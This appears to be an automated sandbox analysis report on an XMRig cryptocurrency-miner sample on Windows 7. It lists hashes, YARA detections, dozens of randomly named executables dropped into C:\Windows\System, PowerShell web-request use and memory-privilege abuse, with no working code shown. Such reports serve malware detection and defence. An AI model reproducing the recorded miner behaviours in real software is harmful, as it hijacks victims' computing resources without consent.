xmrig | 47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
27/06/2024, 03:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
Size

2.9MB
MD5

bebae592220aa231f6cdff30d1a6a460
SHA1

3f632a61e74f9ea293b19206fe31087718c4fc0e
SHA256

47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971
SHA512

8ce45e753d333eca3d6f91cf6dfc6e6ac5a4c3f243bbe74386a0257f8b936d83de82e029b58f3e7f9051f6d6d8eb76c503f0043c38ebd4895aae227307e3a67f
SSDEEP

49152:71G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hMkFfdg6NsIiGuJ:71ONtyBeSFkXV1etEKLlWUTOfeiRA2RF

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral1/memory/1424-1-0x000000013FF20000-0x0000000140316000-memory.dmp	xmrig
behavioral1/files/0x000a000000012286-5.dat	xmrig
behavioral1/memory/2004-8-0x000000013FDD0000-0x00000001401C6000-memory.dmp	xmrig
behavioral1/files/0x0036000000015670-9.dat	xmrig
behavioral1/files/0x0008000000015b6e-13.dat	xmrig
behavioral1/files/0x0008000000015cb8-32.dat	xmrig
behavioral1/files/0x0007000000015bf4-27.dat	xmrig
behavioral1/files/0x0007000000015cdf-38.dat	xmrig
behavioral1/memory/2760-37-0x000000013FB70000-0x000000013FF66000-memory.dmp	xmrig
behavioral1/memory/2884-33-0x000000013FB00000-0x000000013FEF6000-memory.dmp	xmrig
behavioral1/memory/2736-23-0x000000013F6F0000-0x000000013FAE6000-memory.dmp	xmrig
behavioral1/files/0x000d00000000549e-48.dat	xmrig
behavioral1/files/0x0036000000015678-67.dat	xmrig
behavioral1/memory/2984-73-0x000000013F060000-0x000000013F456000-memory.dmp	xmrig
behavioral1/memory/2004-75-0x000000013FDD0000-0x00000001401C6000-memory.dmp	xmrig
behavioral1/memory/2712-77-0x000000013FD10000-0x0000000140106000-memory.dmp	xmrig
behavioral1/memory/2964-79-0x000000013FC50000-0x0000000140046000-memory.dmp	xmrig
behavioral1/files/0x0008000000015d12-62.dat	xmrig
behavioral1/memory/2884-82-0x000000013FB00000-0x000000013FEF6000-memory.dmp	xmrig
behavioral1/memory/2560-81-0x000000013F1F0000-0x000000013F5E6000-memory.dmp	xmrig
behavioral1/files/0x00060000000165e1-80.dat	xmrig
behavioral1/files/0x0008000000015cf0-55.dat	xmrig
behavioral1/files/0x0006000000016581-70.dat	xmrig
behavioral1/memory/3008-69-0x000000013F340000-0x000000013F736000-memory.dmp	xmrig
behavioral1/memory/1424-61-0x000000013FF20000-0x0000000140316000-memory.dmp	xmrig
behavioral1/memory/2576-53-0x000000013F510000-0x000000013F906000-memory.dmp	xmrig
behavioral1/memory/1288-16-0x000000013FCD0000-0x00000001400C6000-memory.dmp	xmrig
behavioral1/files/0x0006000000016ceb-127.dat	xmrig
behavioral1/files/0x0006000000016cc1-122.dat	xmrig
behavioral1/files/0x0006000000016c78-117.dat	xmrig
behavioral1/files/0x0006000000016c6f-112.dat	xmrig
behavioral1/files/0x0006000000016c52-107.dat	xmrig
behavioral1/files/0x0006000000016a8a-102.dat	xmrig
behavioral1/files/0x0006000000016835-96.dat	xmrig
behavioral1/files/0x0006000000016d17-132.dat	xmrig
behavioral1/files/0x0006000000016d4b-157.dat	xmrig
behavioral1/files/0x0006000000016d9f-187.dat	xmrig
behavioral1/files/0x0006000000016dba-192.dat	xmrig
behavioral1/files/0x0006000000016d8b-182.dat	xmrig
behavioral1/files/0x0006000000016d68-172.dat	xmrig
behavioral1/files/0x0006000000016d6f-177.dat	xmrig
behavioral1/files/0x0006000000016d64-167.dat	xmrig
behavioral1/files/0x0006000000016d5f-162.dat	xmrig
behavioral1/files/0x0006000000016d43-152.dat	xmrig
behavioral1/files/0x0006000000016d3b-147.dat	xmrig
behavioral1/files/0x0006000000016d32-142.dat	xmrig
behavioral1/files/0x0006000000016d2a-137.dat	xmrig
behavioral1/memory/3008-3024-0x000000013F340000-0x000000013F736000-memory.dmp	xmrig
behavioral1/memory/2576-3023-0x000000013F510000-0x000000013F906000-memory.dmp	xmrig
behavioral1/memory/2984-3177-0x000000013F060000-0x000000013F456000-memory.dmp	xmrig
behavioral1/memory/2712-3180-0x000000013FD10000-0x0000000140106000-memory.dmp	xmrig
behavioral1/memory/2964-3628-0x000000013FC50000-0x0000000140046000-memory.dmp	xmrig
behavioral1/memory/2560-4283-0x000000013F1F0000-0x000000013F5E6000-memory.dmp	xmrig
behavioral1/memory/1424-4761-0x000000013FF20000-0x0000000140316000-memory.dmp	xmrig
behavioral1/memory/2004-4762-0x000000013FDD0000-0x00000001401C6000-memory.dmp	xmrig
behavioral1/memory/2736-4763-0x000000013F6F0000-0x000000013FAE6000-memory.dmp	xmrig
behavioral1/memory/1288-4764-0x000000013FCD0000-0x00000001400C6000-memory.dmp	xmrig
behavioral1/memory/2884-4765-0x000000013FB00000-0x000000013FEF6000-memory.dmp	xmrig
behavioral1/memory/2760-4766-0x000000013FB70000-0x000000013FF66000-memory.dmp	xmrig
behavioral1/memory/2712-4769-0x000000013FD10000-0x0000000140106000-memory.dmp	xmrig
behavioral1/memory/2984-4768-0x000000013F060000-0x000000013F456000-memory.dmp	xmrig
behavioral1/memory/2576-4767-0x000000013F510000-0x000000013F906000-memory.dmp	xmrig
behavioral1/memory/3008-4771-0x000000013F340000-0x000000013F736000-memory.dmp	xmrig
behavioral1/memory/2560-4770-0x000000013F1F0000-0x000000013F5E6000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2424	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2004	jLpjtKM.exe
1288	RfBewot.exe
2736	OaQKPio.exe
2884	asMIPqQ.exe
2760	NJkkyaT.exe
2576	CiQMinG.exe
3008	znSZCkS.exe
2984	pdTXwLw.exe
2712	eJxSRDW.exe
2964	ouMSgIj.exe
2560	eNDTmkk.exe
1628	bmPHIYW.exe
2952	PwHsmuZ.exe
1940	mwAOeIZ.exe
336	OXJzPRB.exe
1632	DvuvQqI.exe
2328	ihuACBd.exe
2488	ojMJjVW.exe
1152	vnEfUwA.exe
2596	bxybVpG.exe
2056	wRPNEpQ.exe
1800	zvcEnzT.exe
2820	wCTWDSo.exe
1724	vZVgMOp.exe
2484	vyOsudp.exe
528	qFCIWet.exe
480	eMpsMdp.exe
2684	TgjwAKL.exe
1096	YYslSNX.exe
880	MLSGwGF.exe
632	AyxpjuP.exe
1884	dSnfhsP.exe
2372	HXXvsrT.exe
2024	goHtUmV.exe
1764	YXcNjRG.exe
2144	KDPoATw.exe
1980	CoTQXfs.exe
1788	HUhEvUL.exe
1852	YuSuNTp.exe
2888	bwGCKlQ.exe
2244	WyJaEMg.exe
752	pSfaWRp.exe
2148	vyuZksG.exe
1936	hWkHeza.exe
2176	IHLLQGt.exe
284	PQcjatt.exe
2200	SabJxoT.exe
2156	xlHhleb.exe
604	BcslHVA.exe
1804	UAmMPYu.exe
1656	DFJbhtY.exe
2932	zsNhNvm.exe
1576	cgzBnrf.exe
1580	KSHgFnU.exe
2796	cOLKdPV.exe
2744	LSMoBUt.exe
2536	nMEuwxm.exe
2260	XduiHjD.exe
2516	tviyOml.exe
1904	oHBmmyD.exe
2600	OOctJgf.exe
2564	riIAbzP.exe
1972	DHHliWV.exe
392	zANUzBT.exe

Loads dropped DLL 64 IoCs

pid	Process
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1424-1-0x000000013FF20000-0x0000000140316000-memory.dmp	upx
behavioral1/files/0x000a000000012286-5.dat	upx
behavioral1/memory/2004-8-0x000000013FDD0000-0x00000001401C6000-memory.dmp	upx
behavioral1/files/0x0036000000015670-9.dat	upx
behavioral1/files/0x0008000000015b6e-13.dat	upx
behavioral1/files/0x0008000000015cb8-32.dat	upx
behavioral1/files/0x0007000000015bf4-27.dat	upx
behavioral1/files/0x0007000000015cdf-38.dat	upx
behavioral1/memory/2760-37-0x000000013FB70000-0x000000013FF66000-memory.dmp	upx
behavioral1/memory/2884-33-0x000000013FB00000-0x000000013FEF6000-memory.dmp	upx
behavioral1/memory/2736-23-0x000000013F6F0000-0x000000013FAE6000-memory.dmp	upx
behavioral1/files/0x000d00000000549e-48.dat	upx
behavioral1/files/0x0036000000015678-67.dat	upx
behavioral1/memory/2984-73-0x000000013F060000-0x000000013F456000-memory.dmp	upx
behavioral1/memory/2004-75-0x000000013FDD0000-0x00000001401C6000-memory.dmp	upx
behavioral1/memory/2712-77-0x000000013FD10000-0x0000000140106000-memory.dmp	upx
behavioral1/memory/2964-79-0x000000013FC50000-0x0000000140046000-memory.dmp	upx
behavioral1/files/0x0008000000015d12-62.dat	upx
behavioral1/memory/2884-82-0x000000013FB00000-0x000000013FEF6000-memory.dmp	upx
behavioral1/memory/2560-81-0x000000013F1F0000-0x000000013F5E6000-memory.dmp	upx
behavioral1/files/0x00060000000165e1-80.dat	upx
behavioral1/files/0x0008000000015cf0-55.dat	upx
behavioral1/files/0x0006000000016581-70.dat	upx
behavioral1/memory/3008-69-0x000000013F340000-0x000000013F736000-memory.dmp	upx
behavioral1/memory/1424-61-0x000000013FF20000-0x0000000140316000-memory.dmp	upx
behavioral1/memory/2576-53-0x000000013F510000-0x000000013F906000-memory.dmp	upx
behavioral1/memory/1288-16-0x000000013FCD0000-0x00000001400C6000-memory.dmp	upx
behavioral1/files/0x0006000000016ceb-127.dat	upx
behavioral1/files/0x0006000000016cc1-122.dat	upx
behavioral1/files/0x0006000000016c78-117.dat	upx
behavioral1/files/0x0006000000016c6f-112.dat	upx
behavioral1/files/0x0006000000016c52-107.dat	upx
behavioral1/files/0x0006000000016a8a-102.dat	upx
behavioral1/files/0x0006000000016835-96.dat	upx
behavioral1/files/0x0006000000016d17-132.dat	upx
behavioral1/files/0x0006000000016d4b-157.dat	upx
behavioral1/files/0x0006000000016d9f-187.dat	upx
behavioral1/files/0x0006000000016dba-192.dat	upx
behavioral1/files/0x0006000000016d8b-182.dat	upx
behavioral1/files/0x0006000000016d68-172.dat	upx
behavioral1/files/0x0006000000016d6f-177.dat	upx
behavioral1/files/0x0006000000016d64-167.dat	upx
behavioral1/files/0x0006000000016d5f-162.dat	upx
behavioral1/files/0x0006000000016d43-152.dat	upx
behavioral1/files/0x0006000000016d3b-147.dat	upx
behavioral1/files/0x0006000000016d32-142.dat	upx
behavioral1/files/0x0006000000016d2a-137.dat	upx
behavioral1/memory/3008-3024-0x000000013F340000-0x000000013F736000-memory.dmp	upx
behavioral1/memory/2576-3023-0x000000013F510000-0x000000013F906000-memory.dmp	upx
behavioral1/memory/2984-3177-0x000000013F060000-0x000000013F456000-memory.dmp	upx
behavioral1/memory/2712-3180-0x000000013FD10000-0x0000000140106000-memory.dmp	upx
behavioral1/memory/2964-3628-0x000000013FC50000-0x0000000140046000-memory.dmp	upx
behavioral1/memory/2560-4283-0x000000013F1F0000-0x000000013F5E6000-memory.dmp	upx
behavioral1/memory/1424-4761-0x000000013FF20000-0x0000000140316000-memory.dmp	upx
behavioral1/memory/2004-4762-0x000000013FDD0000-0x00000001401C6000-memory.dmp	upx
behavioral1/memory/2736-4763-0x000000013F6F0000-0x000000013FAE6000-memory.dmp	upx
behavioral1/memory/1288-4764-0x000000013FCD0000-0x00000001400C6000-memory.dmp	upx
behavioral1/memory/2884-4765-0x000000013FB00000-0x000000013FEF6000-memory.dmp	upx
behavioral1/memory/2760-4766-0x000000013FB70000-0x000000013FF66000-memory.dmp	upx
behavioral1/memory/2712-4769-0x000000013FD10000-0x0000000140106000-memory.dmp	upx
behavioral1/memory/2984-4768-0x000000013F060000-0x000000013F456000-memory.dmp	upx
behavioral1/memory/2576-4767-0x000000013F510000-0x000000013F906000-memory.dmp	upx
behavioral1/memory/3008-4771-0x000000013F340000-0x000000013F736000-memory.dmp	upx
behavioral1/memory/2560-4770-0x000000013F1F0000-0x000000013F5E6000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\vWdCaot.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\KelunPe.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\rquyeuT.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\KYHoaIY.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\qXpLZJB.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\fPgWBFO.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\BQAtlHR.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\OjXjAfD.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\VtkpMeN.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\zitnPhO.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\akQDOVI.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\JAhHTSO.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\YYCjSto.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\gIWlvzz.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\JIdYHvY.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\eEWqWPd.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\CMKnwMx.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\OLrndvh.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\jcjMpri.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\tuQxopG.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\dXSYdws.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\QkNpQzD.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\OZCFYVs.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\gMVDNFS.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\gGTVEnu.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\iGrmUna.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\pomIUxx.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\fArnGpA.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\YDviBNp.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\gxVolsv.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\XCsDSjf.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\yeeLOGr.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\wNKOsMQ.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\stkRtco.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\xgKRIVO.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\vlOgJqd.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\CCaufUA.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\EkUZEVk.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\LSMoBUt.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\TRLOBaw.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\kuiWYMY.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\mFedkST.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\gkzDGip.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\rKyyTHa.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\LmJKULX.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\orvMgWy.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\QuuJWPo.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\EbGwOfS.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\lzTCaHA.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\LgsQOvH.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\vaVSuXP.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\ifGlLDA.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\VOpajym.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\ixbfhih.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\fkistFz.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\BliPTOt.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\naREMHq.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\fuAiSDi.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\CKtVHoD.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\TiDUgnz.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\csiTmdB.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\ikZMgir.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\RJfiAya.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
File created	C:\Windows\System\aKmOxsJ.exe	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2424	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	1424	47988be2829073088fb523ec7f1dc37247531ffcab175f845cf1a2f1d5b12971_NeikiAnalytics.exe
